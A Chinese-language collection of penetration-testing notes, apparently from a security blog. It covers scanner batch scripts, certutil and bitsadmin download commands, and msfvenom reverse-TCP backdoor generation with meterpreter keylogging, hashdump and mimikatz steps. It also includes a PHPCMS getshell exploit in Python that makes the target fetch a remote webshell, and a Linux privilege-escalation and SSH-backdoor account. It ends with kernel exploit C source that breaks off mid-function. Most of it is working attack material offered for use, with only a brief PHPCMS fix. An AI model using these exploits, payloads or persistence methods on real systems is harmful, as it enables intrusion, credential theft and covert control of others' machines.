appscan命令行工具AppScanCMD.exe 批量扫描

Program Usage:

AppScanCMD exec|ex|e

Parametrs:
[ /starting_url|/surl|/su ]#开始url
[ /dest_scan|/dest|/d ] #最大扫描
[ /base_scan|/base|/b ] #基本扫描
[ /old_host|/ohost|/oh ]
[ /new_host|/nhost|/nh ]
[ /scan_template|/stemplate|/st ]
[ /login_file|/lfile|/lf ]
[ /multi_step_file|/mstepfile|/mf ]
[ /manual_explore_file|/mexplorefile|/mef ]
[ /policy_file|/pfile|/pf ]
[ /additional_domains|/adomains|/ad ]
[ /report_file|/rf ]
[ /report_type|/rt {xml} ]
[ /min_severity|/msev {informational} ]
[ /test_type|/tt ]

Flags:
[ /verbose|/v {false} ]
[ /scan_log|/sl {false} ]
[ /explore_only|/eo {false} ]
[ /test_only|/to {false} ]
[ /multi_step|/mstep|/ms {false} ]
[ /continue|/c {false} ]

可通过 base_scan 配置、保存 dest_scan 和创建报告来创建新的扫描,如果已配置的话。

AppScanCMD report|rep|r

Parametrs:
/base_scan|/base|/b
/report_file|/rf
[ /report_type|/rt {xml} ]
[ /min_severity|/msev {informational} ]
[ /test_type|/tt ]

Flags:
[ /verbose|/v {false} ]

创建 base_scan 报告。

AppScanCMD help|h

appscan 批量扫描 dos批处理如下:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/Administrator/Desktop/domain.txt
rem wvs_console路径
set appscancmd=C:/Program Files (x86)/IBM/AppScan Standard/AppScanCMD.exe
rem 保存目录
set save_dir=C:/Users/Administrator/Desktop/result/

rem 循环抓取扫描url
for /f  %%i in (%file_list%) do (
"%appscancmd%" /e /su %%i /d %save_dir%%%i.scan /v
)

awvs命令行工具wvs_console.exe 批量扫描

>> USAGE: wvs_console /Scan [URL] OR /Crawl [URL] OR /ScanFromCrawl [FILE] OR /ScanWSDL [WSDL URL]
>> PARAMETERS #参数

/Scan [URL] : Scan specified URL #扫描指定的URL
/Crawl [URL] : Crawl specified URL #抓取指定的URL
/ScanFromCrawl [FILE] : Scan from crawling results #从抓取结果扫描
/Import [FILE(s)] : Import files during crawl #导入检索的地址进行爬行
/ScanWSDL [WSDL URL] : Scan web services from WSDL URL #从WSDL URL扫描web服务
/Profile [PROFILE_NAME] : Use specified scanning profile during scanning #在扫描期间使用指定的扫描策略
/Settings [FILE] : Use specified settings template during scanning #在扫描期间使用指定的设置模板
/LoginSeq [FILE] : Use specified login sequence #使用指定的登录序列
/Save : Save scan results #保存扫描结果
/SaveFolder [DIR] : Specify the folder were all the saved data will be stored #指定保存目录
/GenerateZIP : Compress all the saved data into a zip file #将所有保存的数据压缩到压缩文件中
/ExportXML : Exports results as XML #导出结果为xml
/ExportAVDL : Exports results as AVDL #导出结果为AVDL
/SavetoDatabase : Save alerts to the database #将警告保存到数据库
/SaveLogs : Save scan logs #保存扫描日志
/SaveCrawlerData : Save crawler data (.CWL file) #保存数据(覆盖该文件)
/GenerateReport : Generate a report after the scan was completed #扫描完成后生成报表
/ReportFormat [FORMAT] : Generated report format (REP, PDF, RTF, HTML) # 生成报表格式(PDF,RTF,HTML)
/ReportTemplate [TEMPLATE]: Specify the report template #指定报表模板
/Timestamps : Print current timestamp with each line. #每行打印当前时间戳。
/SendEmail : Send email notification when scan is completed, using scheduler settings. #扫描结束后发送电子邮件
/EmailAddress [EMAIL] : Send email notification to this email address, override scheduler settings. #发邮件通知,邮件地址会把之前设置的给覆盖掉
/Verbose : Enable verbose mode #启用详细模式
/Password : Application password (if required) #应用程序密码(如果需要)
/Run [command line] : Run this command during crawl #在抓取过程中运行此命令
/Selenium [FILE] : Execute selenium script during crawl #执行selenium脚本进行爬行
/? : Show this help screen #显示此帮助屏幕

>> OPTIONS [ ? = TRUE or FALSE ] #选项

-–GetFirstOnly=? : Get only the first URL #只得到第一个网址
–-RestrictToBaseFolder=? : Do not fetch anything above start folder #不扫描当前目录以上的其他目录(扫描二级目录有效)
–-FetchSubdirs=? : Fetch files bellow base folder #取基础文件夹
–-ForceFetchDirindex=? : Fetch directory indexes even if not linked #获取目录索引,即使没有链接
-–RobotsTxt=? : Retrieve and process robots.txt #检索和处理robots.txt
-–CaseInsensitivePaths=? : Use case insensitive paths #使用不区分大小写的路径
-–UseWebKit=? : Use WebKit based browser for discovery #使用基于WebKit的浏览器为发现
-–ScanningMode=* : Scanning mode (* = Quick, Heuristic, Extensive) #扫描模式(*快速,启发式,广泛)
-–ManipHTTPHeaders=? : Manipulate HTTP headers #配置HTTP头
-–UseAcuSensor=? : Use AcuSensor technology #使用acusensor技术
-–EnablePortScanning=? : Enable port scanning #启用端口扫描
-–UseSensorDataFromCrawl=*: Use sensor data from crawl (* = Yes, No, Revalidate) #使用fuzz提交数据(* =是的,不,验证)
-–HtmlAuthUser=? : Username for HTML based authentication #基于HTML的身份验证用户名
-–HtmlAuthPass=? : Password for HTML based authentication #基于HTML的认证密码
–ToolTimeout=? : Timeout for testing tool in seconds #设置提交的超时时间

>> EXAMPLES #实例

wvs_console /Scan http://vulnweb.com /SaveFolder c:\Results\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://vulnweb.com /Profile default /Save –-UseWebKit=false –-ScanningMode=Heuristic

dos批处理:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/ggg/Desktop/1.txt
rem wvs_console路径
set wvs_console=C:/Program Files (x86)/Acunetix/Web Vulnerability Scanner 10/wvs_console.exe
rem 保存目录
set save_dir=C:/Users/ggg/Desktop/result/

rem 循环抓取扫描url
for /f %%i in (%file_list%) do (
"%wvs_console%" /scan %%i /Profile ws_default /SaveFolder %save_dir% /Verbose /Save /SaveLogs /Timestamps –-GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=true --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=true --ManipHTTPHeaders=true -–UseWebKit=true
)

上面那种方式保存的是 .xml文件,想保存.wvs文件,不用配置保存目录:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/Administrator/Desktop/domain.txt
rem wvs_console路径
set wvs_console=C:/Program Files (x86)/Acunetix/Web Vulnerability Scanner 10/wvs_console.exe

rem 循环抓取扫描url,保存到数据库
for /f %%i in (%file_list%) do (
"%wvs_console%" /scan %%i /Profile ws_default  /Verbose /SavetoDatabase /Timestamps  –-GetFirstOnly=false  --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=true --ManipHTTPHeaders=true -–UseWebKit=true)

这样 使用/SavetoDatabase 参数 会自动保存到数据库可以直接查看结果,扫描文件在我的文档中 D:\Documents\Acunetix WVS 10\Saves,也可以使用/save 设置保存目录

win域渗透 webshell和写文件命令

echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt
#生成 hex.txt,机器码对应的内容是 Hello World!

certutil -decodehex hex.txt bin.txt
#Hex2Bin , hex转换成bin文件

certutil -encode bin.txt Encode.txt
#Base64_Encode , Base64编码

certutil -decode Encode.txt Decode.txt
#Base64_Decode , Base64解码

这个命令很强大,通过echo 转义特殊字符时,有时通过 ^< 这样去转义也会出现错误,这样就方便多了,或者这样写入NC反弹回来; ==========================在用到的时候再来记录笔记========================== 还有另外一种方式,直接下载文件: certutil -urlcache -split -f http://www.baidu.com/webscan.exe

certutil的使用方式:


  -dump             -- 转储配置信息或文件
  -asn              -- 分析 ASN.1 文件

  -decodehex        -- 解码十六进制编码的文件
  -decode           -- 解码 Base64 编码的文件
  -encode           -- 将文件编码为 Base64

  -deny             -- 拒绝挂起的申请
  -resubmit         -- 重新提交挂起的申请
  -setattributes    -- 为挂起申请设置属性
  -setextension     -- 为挂起申请设置扩展
  -revoke           -- 吊销证书
  -isvalid          -- 显示当前证书部署

  -getconfig        -- 获取默认配置字符串
  -ping             -- Ping Active Directory 证书服务申请接口
  -pingadmin        -- Ping Active Directory 证书服务管理接口
  -CAInfo           -- 显示 CA 信息
  -ca.cert          -- 检索 CA 的证书
  -ca.chain         -- 检索 CA 的证书链
  -GetCRL           -- 获取 CRL
  -CRL              -- 发布新的 CRL [或仅增量 CRL]
  -shutdown         -- 关闭 Active Directory 证书服务

  -installCert      -- 安装证书颁发机构证书
  -renewCert        -- 续订证书颁发机构证书

  -schema           -- 转储证书架构
  -view             -- 转储证书视图
  -db               -- 转储原始数据库
  -deleterow        -- 删除服务器数据库行

  -backup           -- 备份 Active Directory 证书服务
  -backupDB         -- 备份 Active Directory 证书服务数据库
  -backupKey        -- 备份 Active Directory 证书服务证书和私钥
  -restore          -- 还原 Active Directory 证书服务
  -restoreDB        -- 还原 Active Directory 证书服务数据库
  -restoreKey       -- 还原 Active Directory 证书服务证书和私钥
  -importPFX        -- 导入证书和私钥
  -dynamicfilelist  -- 显示动态文件列表
  -databaselocations -- 显示数据库位置
  -hashfile         -- 通过文件生成并显示加密哈希

  -store            -- 转储证书存储
  -addstore         -- 将证书添加到存储
  -delstore         -- 从存储删除证书
  -verifystore      -- 验证存储中的证书
  -repairstore      -- 修复密钥关联,或者更新证书属性或密钥安全描述符
  -viewstore        -- 转储证书存储
  -viewdelstore     -- 从存储删除证书

  -dsPublish        -- 将证书或 CRL 发布到 Active Directory

  -ADTemplate       -- 显示 AD 模板
  -Template         -- 显示注册策略模板
  -TemplateCAs      -- 显示模板的 CA
  -CATemplates      -- 显示 CA 的模板
  -enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
  -ADCA             -- 显示 AD CA
  -CA               -- 显示注册策略 CA
  -Policy           -- 显示注册策略
  -PolicyCache      -- 显示或删除注册策略缓存项目
  -CredStore        -- 显示、添加或删除凭据存储项目
  -InstallDefaultTemplates -- 安装默认的证书模板
  -URLCache         -- 显示或删除 URL 缓存项目
  -pulse            -- 暂停自动注册事件
  -MachineInfo      -- 显示 Active Directory 计算机对象信息
  -DCInfo           -- 显示域控制器信息
  -EntInfo          -- 显示企业信息
  -TCAInfo          -- 显示 CA 信息
  -SCInfo           -- 显示智能卡信息

  -SCRoots          -- 管理智能卡根证书

  -verifykeys       -- 验证公/私钥集
  -verify           -- 验证证书,CRL 或链
  -syncWithWU       -- 与 Windows 更新同步
  -generateSSTFromWU -- 通过 Windows 更新生成 SST
  -sign             -- 重新签名 CRL 或证书

  -vroot            -- 创建/删除 Web 虚拟根和文件共享
  -vocsproot        -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
  -addEnrollmentServer -- 添加注册服务器应用程序
  -deleteEnrollmentServer -- 删除注册服务器应用程序
  -oid              -- 显示 ObjectId 或设置显示名称
  -error            -- 显示错误代码消息文本
  -getreg           -- 显示注册表值
  -setreg           -- 设置注册表值
  -delreg           -- 删除注册表值

  -ImportKMS        -- 为密钥存档导入用户密钥和证书到服务器数据库
  -ImportCert       -- 将证书文件导入数据库
  -GetKey           -- 检索存档的私钥恢复点
  -RecoverKey       -- 恢复存档的私钥
  -MergePFX         -- 合并 PFX 文件
  -ConvertEPF       -- 将 PFX 文件转换为 EPF 文件
  -?                -- 显示该用法消息


CertUtil -?              -- 显示动词列表(命名列表)
CertUtil -dump -?        -- 显示 "dump" 动词的帮助文本
CertUtil -v -?           -- 显示所有动词的所有帮助文本

CertUtil: -? 命令成功完成。

还有一种方式:

bitsadmin /transfer n http://0535code.com/files/demo.zip C:\test\demo.zip

端口服务 安全总结

21 #FTP 匿名访问、弱口令
22 #SSH 弱口令
23 #Telnet 弱口令
25 #SMTP 弱口令
53 #DNS 区域传输
79 #Finger服务的默认端口(查询远程主机在线用户等信息)
80 #web端口
110 #Pop3服务,邮件发送服务器存在溢出漏洞
135 #提供查询服务,利用 IPC$(Internet Process Connection) 入侵
137 #Samba 远程代码执行漏洞:CVE-2015-0240;NetBIOS 数据报(UDP)服务
139 #提供共享资源服务(NetBios-SSN),用在IPC$入侵中。135,137,139这三个端口可以综合利用
143 #IMAP 弱口令
161 #snmp public弱口令
389 #ldap 是否为匿名访问
443 #openssl 心脏滴血
445 #SMB远程溢出
873 #Rsync 未授权访问
1099 #java rmi 命令执行漏洞
1433 #mssql弱口令
1521 #Oracle 弱口令
2181 #Zookeeper 未授权访问
2082/2083 #cpanel 主机管理系统登录
2222 #DA虚拟主机管理系系统登录
2376 #docker api未授权访问
2601,2604 #zebra路由,默认密码zebra
3128 #squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 #mysql 弱口令
3312/3311 #kangle主机管理系统
3389 #RDP 弱口令、远程溢出
4440 #rundeck web 参考http://static.hx99.net/static/bugs/wooyun-2015-092026.html
4848 #GlassFish,Web中间件 弱口令 admin/adminadmin
5000 #DB2 弱口令、CVE-2015-1922
5432 #PostgreSQL 弱口令
5560/7778 #iSqlPlus
5900/5901/5902 #VNC 弱口令
6082 #varnish,参考http://static.hx99.net/static/bugs/wooyun-2010-012338.html
6379 #redis未授权访问、弱口令
7001/7002 #WebLogic Java反序列化
7778 #Kloxo主机控制面板登录
8080 #web服务弱口令、Jboss反序列化、其他端口1098/1099/4444/4445/8080/8009/8083/8093
8069 #Zabbix 弱口令、注入
8649 #ganglia
8888 #amg/LuManager,服务器主机管理系统
9000 #PHP-FastCGI-Client远程代码执行
9043 #websphere,弱口令爆破
9080 #Websphere Java反序列化 9081、9090
9200 #elasticsearch,代码执行,参考http://static.hx99.net/static/bugs/wooyun-2010-062073.html
9871 #jdwp调试 远程命令执行
10000 #Virtualmin/Webmin,服务器虚拟主机管理系统
11211 #memcache 未授权访问
27017/28017 #MongoDB 未授权访问、弱口令
50060,50030 #hadoop WEB
有的一个端口对应多种服务,多种攻击方式,也有的服务没有默认的端口,后续遇到再补充,

Metasploit meterpreter 实现 DLL注入

反弹DLL生成:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.5.137 LPORT=5210 -f dll > /tmp/s.dll

@核心命令

? – 帮助菜单
background #将当前会话移动到背景
bgkill #杀死一个背景 meterpreter 脚本
bglist #提供所有正在运行的后台脚本的列表
bgrun #作为一个后台线程运行脚本
channel #显示活动频道
close #关闭通道
exit #终止 meterpreter 会话
help #帮助菜单
interact #与通道进行交互
irb #进入 Ruby 脚本模式
migrate #移动到一个指定的 PID 的活动进程
quit #终止 meterpreter 会话
read #从通道读取数据
run #执行以后它选定的 meterpreter 脚本
use #加载 meterpreter 的扩展
write #将数据写入到一个通道

@文件系统命令

cat #读取并输出到标准输出文件的内容
cd #更改目录对受害人
del #删除文件对受害人
download #从受害者系统文件下载
edit #用 vim编辑文件
getlwd #打印本地目录
getwd #打印工作目录
lcd #更改本地目录
lpwd #打印本地目录
ls #列出在当前目录中的文件列表
mkdir #在受害者系统上的创建目录
pwd #输出工作目录
rm #删除文件
rmdir #受害者系统上删除目录
upload #从攻击者的系统往受害者系统上传文件

@网络命令

ipconfig #显示网络接口的关键信息,包括 IP 地址、 等。
portfwd #端口转发
route #查看或修改受害者路由表
webcam_snap #打开对方的摄像头

@系统命令

clearav #清除了受害者的计算机上的事件日志
drop_token #被盗的令牌
execute #执行命令
getpid #获取当前进程 ID (PID)
getprivs #尽可能获取尽可能多的特权
getuid #获取作为运行服务器的用户
kill #终止指定 PID 的进程
ps #列出正在运行的进程
reboot #重新启动受害人的计算机
reg #与受害人的注册表进行交互
rev2self #在受害者机器上调用 RevertToSelf()
shell #在受害者计算机上打开一个shell
shutdown #关闭了受害者的计算机
steal_token #试图窃取指定的 (PID) 进程的令牌
sysinfo #获取有关受害者计算机操作系统和名称等的详细信息

@用户界面命令

enumdesktops #列出所有可访问台式机
getdesktop #获取当前的 meterpreter 桌面
idletime #检查长时间以来,受害者系统空闲进程
keyscan_dump #键盘记录软件的内容转储
keyscan_start #启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop #停止键盘记录软件
screenshot #抓取 meterpreter 桌面的屏幕截图
set_desktop #更改 meterpreter 桌面
uictl #启用用户界面组件的一些控件

@特权升级命令

getsystem #获得系统管理员权限

@密码转储命令

hashdump #抓去哈希密码 (SAM) 文件中的值
#请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。查找更多关于那些在我即将举行的 meterpreter 脚本作弊

Timestomp 命令

timestomp #操作修改,访问,并创建一个文件的属性

#shell 进入cmd
meterpreter > shell

#生成EXE后门木马
root@0535coder:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.5.137 LPORT=5210 X > /tmp/2.exe

#监听反向连接
meterpreter > run
meterpreter > run vnc #界面方式要运行第二次才正常
meterpreter > run screen_unlock

#进程迁移
meterpreter > run post/windows/manage/migrate

#关闭杀毒软件
meterpreter > run killav

#加载 读取明文密码
load mimikatz //加载
wdigest //读取用户密码

#远程桌面登陆
root@0535coder:~# rdesktop 10.1.5.57 -u administrator -p passwd
screenshot #桌面的屏幕截图 保存在/root/******.jpg

PHPCMS 会员任意附件远程下载0day分析

phpcms现在还没有命名叫啥漏洞,因为是通过会员注册杀进视频模型的附件下载流程,所以就写PHPCMS 会员任意附件远程下载0day分析了,利用exp如下:
dosubmit=1&modelid=11&username=hacker&password=hacker&email=hacker@test.com&info[content]=<img src=http://0535code.com/tools/php_eval.txt?.php#.jpg
将上面参数发post请求到 /index.php?m=member&c=index&a=register&siteid=1

首先根据phpcms框架结构找到对应的处理入口文件,
会员入口:/index.php?m=member&c=index&a=register&siteid=1
找到phpcms框架对应的处理文件:\phpcms\phpcms\modules\member\index.php
第33行处理方法:register()

进入处理函数后,需要 设置 dosubmit 为真,走这里的验证流程:

这里可以看到用户名username、密码password、邮箱email是 必须填的(email为何判断了2次? Phpcms的bug?)

单纯这个流程是没有漏洞,漏洞需要结合视频附件处理流程,
Phpcms默认安装有四个模型,分别是文章,下载,图片,视频模块,也可以自己创建模型, modelid=11就是视频模型,具体看
\phpcms\caches\caches_commons\caches_data\ model.cache.php 文件便可看到缓存的模型

需要把值设为11,所以上面post的参数变为了
dosubmit=1& modelid=11&username=hacker& password=hacker&email=hacker@test.com
下面有个 //附表信息验证 通过模型获取会员信息,问题就在这里了,获取视频模型的信息,

new_html_special_chars转义函数在 \phpcms\libs\functions\global.func.php 的第37行里:

可以看到这里把值或数组的键值转义了,继续看上面流程,
$member_input->get($_POST[‘info’]); //模型输入处理
先要看创建的类库
$member_input = new member_input($userinfo[‘modelid’]); //创建模型输入类
找下member_input类在文件
\phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中
在类中找到get方法,这个方法是获取模型数据的

在模型类中fields是一个强大的多维数组、打印出来看下

类中有个 editor 成员函数是做下载用的

断掉调试下,走视频模型时,fields的content[‘formtype’]的值为 editor ,下面代码是检测 当前类中是否存在 $fun()方法,如果存在则 传参执行这个方法 返回给 $value

继续跟 $value = $this->$func($field, $value)
也就是可以触发到成员函数 editor,再回到editor

这里有下载功能,继续找这个下载函数,发现在构造函数中,是一个附件类

附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重点在第二个参数,也就是传入的下载地址

在download 中设置上传目录,然后通过正则取出要下载的url,之后处理数组的过程中会遇到一个 fillurl,补全url的成员函数


Fillurl是支持的下载协议,继续看下面的流程,下面流程取得 附件的扩展名作为生成的文件名,因为下载的可能是 rar、zip或者其他的,这里没有验证php扩展名,而且当在下载url加入?后面的相当于被截断了,但是可以绕过扩展名的判断。

然后需要回显,不然文件下载到服务器了,也不知道文件路径的;
恰巧在插入时会报错显示出路径信息:
\phpcms\caches\caches_model\caches_data\member_input.class.php 文件中
$info[$field] = $value;

各种姿势加起来组合出来强大的漏洞! exp 看下面:

#!/usr/bin/env python
#coding:utf-8
import sys,requests,random
def getshell(target):
vuln_url = target + "/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1"
strstr = str(random.randint(0,999))
data = {
"dosubmit":1,
"modelid":11,
"username":"hacker" + strstr,
"password":"hacker" + strstr,
"email":strstr + "hacker@qq.com",
"info[content]":"&lt;img src=http://*****.com/tools/php_eval.txt?.php#.jpg"
}
try:
response = requests.post(url = vuln_url,data = data,timeout=5)
data_str = response.content
except:
data_str = ""
vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)]
print data_str
if vul_url:
with open("result.txt","a+") as f:
f.write(vul_url+"\n")
print vuln_url+"\n"+vul_url+"\n\n"
else:
print u"no vul"
getshell("http://127.0.0.1/phpcms/")

 

修复漏洞:
这个是下载官网最新版测试的,貌似到现在还没修复呢,一堆代码逻辑在里头,对于非常熟悉的人,还可能间接找出类似问题,看别人说修复方式可以把uploadfile目录设置为不可执行权限,也可以通过上面的分析找到远程下载附件函数对生成的文件名做下判断再决定是否下载。好人做到底吧。
临时代码修复,等官网出了后,这个就淘汰了;
在附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面这行代码
$filename = $this->getname($filename); 在这行代码下面增加2行代码,判断下生成文件的格式:

$file_verify = explode('.', $filename);
if ($file_verify[1] === "php") die('Extension not supported PHP!');

一个linux服务器php提权过程

目标站是dedecms的,已通过csrf getshell了,但是只有一句话,菜刀可以操作命令行,不过那不是真正意义上的命令行,只是代码执行而已,想往任务计划写文件反弹回来,发现没有权限,但是可以跨目录,然后切换到/tmp目录是有权限的,在tmp目录下用python反弹回shell了,但是还是普通用户权限,最近新出了一个 Linux下密码抓取神器mimipenguin,然后试用了下,本地的kali是可以的,然后尝试用菜刀拖进mimipenguin.sh,事实证明还是没有权限执行。
一次又一次失败后,还是要提升至root权限才可以想办法保持后门,游侠安全网某人给了个思路,看下系统内核,uname -a查了下是2.6.32的内核,要提权先要用nc反弹回低权限的shell,然后进行提权,提权脚本连接如下:
http://0535code.com/tools/root_centos_coder #脚本作者应该是乌云的某牛、

支持以下linux内核版本

Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64
Linux localhost.domain 2.6.32-358.6.1.el6.x86_64 #1 SMP Tue Apr 23 19:29:00 UTC 2013 x86_64
Linux localhost.domain 2.6.32-279.19.1.el6.x86_64 #1 SMP Wed Dec 19 07:05:20 UTC 2012 x86_64
Linux localhost.domain 2.6.32-279.22.1.el6.x86_64 #1 SMP Wed Feb 6 03:10:46 UTC 2013 x86_64
Linux localhost.domain 3.2.2-ipprojects #4 SMP Fri Feb 3 15:53:51 CET 2012 x86_64
Linux localhost.domain 2.6.32-042stab076.5 #1 SMP Mon Mar 18 20:41:34 MSK 2013 x86_64
Linux localhost.domain 2.6.32-220.4.1.el6.x86_64 #1 SMP Tue Jan 24 02:13:44 GMT 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el6.x86_64 #1 SMP Wed Apr 3 12:05:42 EEST 2013 x86_64
Linux localhost.domain 2.6.32-042stab068.8 #1 SMP Fri Dec 7 17:06:14 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.14.el6.x86_64 #1 SMP Wed Mar 6 15:12:30 EET 2013 x86_64
Linux localhost.domain 2.6.32-379.19.1.lve1.2.6.el6.x86_64 #1 SMP Fri Jan 18 10:16:30 EST 2013 x86_64
Linux localhost.domain 2.6.32-042stab053.5 #1 SMP Tue Mar 27 11:42:17 MSD 2012 x86_64
Linux localhost.domain 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64
Linux localhost.domain 3.2.0-0.bpo.3-amd64 #1 SMP Thu Aug 23 07:41:30 UTC 2012 x86_64
Linux localhost.domain 2.6.32-358.0.1.el6.x86_64 #1 SMP Wed Feb 27 06:06:45 UTC 2013 x86_64
Linux localhost.domain 2.6.32-042stab061.2 #1 SMP Fri Aug 24 09:07:21 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.14.1.lve1.1.9.9.el6.x86_64 #1 SMP Thu Dec 6 07:12:24 EST 2012 x86_64
Linux localhost.domain 2.6.32-12-pve #1 SMP Tue May 15 06:02:20 CEST 2012 x86_64
Linux localhost.domain 2.6.32-131.21.1.el6.x86_64 #1 SMP Tue Nov 22 19:48:09 GMT 2011 x86_64
Linux localhost.domain 3.2.7 #1 SMP Sun Feb 26 23:00:18 CET 2012 x86_64
Linux localhost.domain 2.6.32-279.14.1.el6.x86_64 #1 SMP Tue Nov 6 23:43:09 UTC 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el5h.x86_64 #1 SMP Wed Apr 3 14:28:52 EEST 2013 x86_64
Linux localhost.domain 2.6.32-320.4.1.lve1.1.4.el6.x86_64 #1 SMP Wed Mar 7 06:32:27 EST 2012 x86_64
Linux localhost.domain 2.6.32-220.7.1.el6.x86_64 #1 SMP Wed Mar 7 00:52:02 GMT 2012 x86_64
Linux localhost.domain 2.6.32-7-pve #1 SMP Mon Feb 13 07:33:21 CET 2012 x86_64
Linux localhost.domain 2.6.32-042stab062.2 #1 SMP Wed Oct 10 18:28:35 MSK 2012 x86_64
Linux localhost.domain 2.6.38 #5 SMP Sat Mar 19 13:19:08 CET 2011 x86_64
Linux localhost.domain 2.6.32 #1 SMP Wed Sep 5 22:46:20 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.19.1.lve1.2.7.el6.x86_64 #1 SMP Wed Jan 23 14:53:41 EST 2013 x86_64
Linux localhost.domain 3.2.0-0.bpo.2.dar-amd64 #1 SMP Fri Apr 27 18:23:24 MSK 2012 x86_64
Linux localhost.domain 2.6.32-16-pve #1 SMP Fri Nov 9 11:42:51 CET 2012 x86_64
Linux localhost.domain 2.6.32-220.17.1.el6.x86_64 #1 SMP Wed May 16 00:01:37 BST 2012 x86_64
Linux localhost.domain 2.6.32-279.9.1.el6.x86_64 #1 SMP Tue Sep 25 21:43:11 UTC 2012 x86_64
Linux localhost.domain 2.6.32-042stab065.3 #1 SMP Mon Nov 12 21:59:14 MSK 2012 x86_64
Linux localhost.domain 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
Linux localhost.domain 2.6.32-11-pve #1 SMP Wed Apr 11 07:17:05 CEST 2012 x86_64
Linux localhost.domain 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64
Linux localhost.domain 2.6.32-131.17.1.el6.x86_64 #1 SMP Thu Oct 6 19:24:09 BST 2011 x86_64
Linux localhost.domain 2.6.32-042stab072.10 #1 SMP Wed Jan 16 18:54:05 MSK 2013 x86_64
Linux localhost.domain 3.5.2 #1 SMP Thu Aug 23 17:07:20 CEST 2012 x86_64
Linux localhost.domain 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64
Linux localhost.domain 2.6.32-279.2.1.el6.x86_64 #1 SMP Fri Jul 20 01:55:29 UTC 2012 x86_64
Linux localhost.domain 3.2.20 #1 SMP Tue Aug 28 02:39:06 MSK 2012 x86_64
Linux localhost.domain 2.6.32-220.4.2.el6.x86_64 #1 SMP Tue Feb 14 04:00:16 GMT 2012 x86_64
Linux localhost.domain 2.6.32-279.5.1.el6.x86_64 #1 SMP Tue Aug 14 23:54:45 UTC 2012 x86_64
Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 GNU/Linux

chomd +x 3 && ./3,瞬间从 -sh-4.1$变为-sh-4.1#了,说明提权成功了。

然后就是保持后门了,选用了ssh密钥方式,可是在服务器的root目录下不存在.ssh,机制的小伙伴告诉我创建个.ssh,然后写入authorized_keys文件,利用本机ssh连接下,搞定了。

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;

  for (i=0; i<4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = 0; i < 8; i++) t[j+i] = 0;
      for (i = 0; i < 10; i++) t[j+9+i] = -1;
      return;
next:;    }
  }
}

void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
}


int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
